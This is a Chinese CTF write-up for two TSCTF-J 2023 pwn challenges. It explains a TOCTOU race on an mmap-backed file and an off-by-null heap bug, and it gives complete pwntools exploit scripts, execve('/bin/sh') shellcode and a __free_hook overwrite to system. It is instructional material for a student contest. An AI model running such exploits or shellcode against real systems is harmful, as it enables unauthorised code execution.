tsctf-j2023 strange_code_runner e_order wp
strange_code_runner
程序功能
这是一个可以执行 shellcode 的小程序,三个选项依次是edit、load、run,运行一下简单了解一下这个可执行文件的功能:
1. edit code
2. load code
3. run code
>>>1
>>>AAAAA
>>>2
load success
>>>3
unable to pass the check
我们仔细看这三个功能:edit 读取输入写进名为 code 的文件
void edit_code(){
int fd;
char buf[0x20];
fd = open("code", O_RDWR);
printf(">>>");
read(0, buf, 0x20);
write(fd, buf, 0x20);
close(fd);
return ;
}
load 功能中获取文件的内容,不过用到的不是常见的 read
函数读文件的内容,而是不太寻常的 mmap
,至于不寻常在何处,后文会详细展开。
void load_code(){
if(is_load){
puts("already loaded");
}else{
int fd;
fd = open("code", O_RDWR);
code_addr = mmap(NULL, 0x20, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
is_load = 1;
puts("load success");
}
return ;
}
run 选项检查 shellcode 的字符是不是在 0x50-0x55 之间,然后跳转到 shellcode 的地址执行(jmp rax
)。
void run_code(){
if(is_load && code_addr){
int i=0;
while (i<0x20)
{
if(code_addr[i] < 'P' || code_addr[i] > 'U'){
puts("unable to pass the check");
return ;
}
i++;
}
puts("are u sure to continue");
puts("1. continue");
puts("2. no");
uint32_t choice = read_uint();
if(choice == 1){
asm("jmp * %[addr]" : [addr] "+r" (code_addr));
}
}else{
puts("code not load");
}
return ;
}
0x50-0x55 对应的 opcode 是几个 push
操作,看起来有限的几个字符构造出来的 shellcode 很难进行下一步操作,比如 getshell 或者继续读一段新的不受限制的 shellcode。
mmap
这时我们回到之前提到的 mmap
函数,这个函数的功能不仅是读文件而已—— mmap
把文件和进程的地址空间映射,进程可以操作这一段内存,而系统会自动把修改的内容写入文件,同样文件中的修改也会反映到内存。
如果我们可以在成功通过检查检查之后修改内存里面的 shellcode,是不是可以执行任意字符组成的代码了?也就是说,我们先输入一段可以通过检查的 shellcode,在检查之后准备运行之前,我们新开一个连接把全新的内容写入 code 文件,mmap 映射会帮我们把更改的文件同步到内存区域,即将要执行的 shellcode 就被改变了:
这种在检查和执行的时间差中间更改了内容的手段被称为 TOCTOU (time of check, time of use)。
shellocde
这样的话思路就清晰了,我们需要重新写入一段小于 0x20 的 shellcode 拿到 shell,不过 pwntools 自带的构造出来的有点太长了:
>>> len(pwn.asm(pwn.shellcraft.sh()))
44
这里我们可以自己写一小段,( 当然也可以从 exploit db 找一段来
from pwn import *
sc='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
len(asm(sc)) # 28
exp
所以完整的 exp 可以长这样:
from pwn import *
elf_path = "./pwn"
ip = "ctf.buptmerak.cn"
port = "20022"
content = 1
context(os='linux',arch='amd64',log_level='debug')
if content == 1:
p = process(elf_path)
p1 = process(elf_path)
else:
p = remote(ip, port)
p1 = remote(ip, port)
sla = lambda x, y: p.sendlineafter(x, y)
sla1 = lambda x, y: p1.sendlineafter(x, y)
# ----------------------------------------------------------
bin_sh_sc='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
sla(b'>>>', b'1')
sla(b'>>>', b'P'*0x20)
sla(b'>>>', b'2')
sla(b'>>>', b'3')
sla1(b'>>>', b'1')
sla1(b'>>>', asm(bin_sh_sc))
sla(b'>>>', b'1')
p.interactive()
(知道了漏洞点之后就会觉得这也有点明显了,谁执行 shellcdoe 还特意读写文件呢。
eorder
功能
这是一个简单的 eorder 订餐系统,有增加、修改、查看、删除订单四个选项,用到的结构体如下:
typedef struct {
char name[16];
int choice;
int time;
char dormitory[8];
char* note_addr;
} order;
在堆中这些变量是这样布局的:
off by null
在读取字符数组时有一个 \x00
的溢出
void read_str(char * buf, int size ){
printf(">>>");
int read_size = read(0, buf, size);
buf[read_size] = 0x00;
return ;
}
也就是说,如果输入 0x10 字节的 name 或者 0x8 字节的 dormitory,多余的一个 \x00
字节会溢出到下一个变量,可以在 modify 的时候更改指向 note 的指针。
比较特殊的 index = 2 的 order,如果 dormitory 溢出一字节更改后的指针正好指向这个指针本身 (下图的 0x561fe413b400
),这样就可以自由修改这个指针来读取或修改任意的位置信息。
for i in range(2):
add(i, 'a', 1, 2, 'a', b'a' )
add(2, 'a', 1, 2, 'a'*7, b'tsctf-j')
pause()
modify(2, 'a', 1, 2, 'a'*7, b'aaa')
思路
glibc2.32 下,freehook 还是可以利用的,我们的目标就是利用上面这个任意写的指针更改 free hook 的内容为 system 或 one_gadget 等。
首先泄露 heap 的地址,在 add 之后打印内容,可以在打印 domitory 时候连带出堆的地址:
# heap base
for i in range(2):
add(i, 'a', 1, 2, 'a', b'a' )
add(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')
show(2)
ru(b'a'*7 + b'\n')
heap_base = u64(rx(6).ljust(8, b'\x00')) - 0x420
leak('heap_base', heap_base)
过程中比较难的是如何泄露 libc 的基址。可以修改某一个堆大小到 unsortedbin 的范围,然后打印其内容,注意这里有一个检查该 free 的 chunk 的下一个 chunk 的 pre_inuse 位,因此要提前申请大量的 chunk,或者用任意写的指针改一下。
nextchunk = chunk_at_offset(p, size);
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
大概是这样
for i in range(3, 15):
add(i, 'a', 1, 2, 'a', b'a')
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x470))
modify(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
delete(3)
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x481)) # skip \x00
show(2)
malloc_hook = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
leak('malloc_hook', malloc_hook)
接下来就是修改 hook:
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
modify(2, 'a', 1, 2, 'a'*7, p64(free_hook))
modify(2, 'a', 1, 2, 'a', p64(system_addr))
add(15, 'a', 1, 2, 'a', b'/bin/sh')
delete(15)
p.interactive()
exp
完整的脚本如下
from pwn import *
elf_path = "./pwn"
libc_path = "/home/giacomo/tools/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6"
ip = ""
port = ""
content = 1
context(os='linux',arch='amd64')
if content == 1:
p = process(elf_path)
# p = gdb.debug(elf_path)
else:
p = remote(ip, port)
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# ----------------------------------------------------------
def add(index, name, dish, time, dorm, note):
sla(b'>>>', b'0')
sla(b'>>>', str(index).encode())
sla(b'>>>', name.encode())
sla(b'>>>', str(dish).encode())
sla(b'>>>', str(time).encode())
sla(b'>>>', dorm.encode())
sla(b'>>>', note)
def modify(index, name, dish, time, dorm, note):
sla(b'>>>', b'1')
sla(b'>>>', str(index).encode())
sla(b'>>>', name.encode())
sla(b'>>>', str(dish).encode())
sla(b'>>>', str(time).encode())
sla(b'>>>', dorm.encode())
sa(b'>>>', note)
def delete(index):
sla(b'>>>', b'3')
sla(b'>>>', str(index).encode())
def show(index):
sla(b'>>>', b'2')
sla(b'>>>', str(index).encode())
# heap base
for i in range(2):
add(i, 'a', 1, 2, 'a', b'a' )
add(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')
for i in range(3, 15):
add(i, 'a', 1, 2, 'a', b'a')
show(2)
ru(b'a'*7 + b'\n')
heap_base = u64(rx(6).ljust(8, b'\x00')) - 0x420
leak('heap_base', heap_base)
# libc base
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x470))
modify(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
delete(3)
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x481)) # skip \x00
show(2)
malloc_hook = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
leak('malloc_hook', malloc_hook)
libc = ELF(libc_path)
libc_base = malloc_hook - libc.sym['__malloc_hook']
leak('libc_base', libc_base)
# hack
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
modify(2, 'a', 1, 2, 'a'*7, p64(free_hook))
modify(2, 'a', 1, 2, 'a', p64(system_addr))
add(15, 'a', 1, 2, 'a', b'/bin/sh')
delete(15)
p.interactive()
难点主要是找一个可以到处读写的指针,除此之外因为涉及 free 操作的检查和地址泄露,对 glibc 也要比较了解吧。这题作为新生赛有点挑战的(出题人自我反省 ing),所以 wp 尽量写详细了,如果有没讲明白的地方欢迎联系我捏 🥺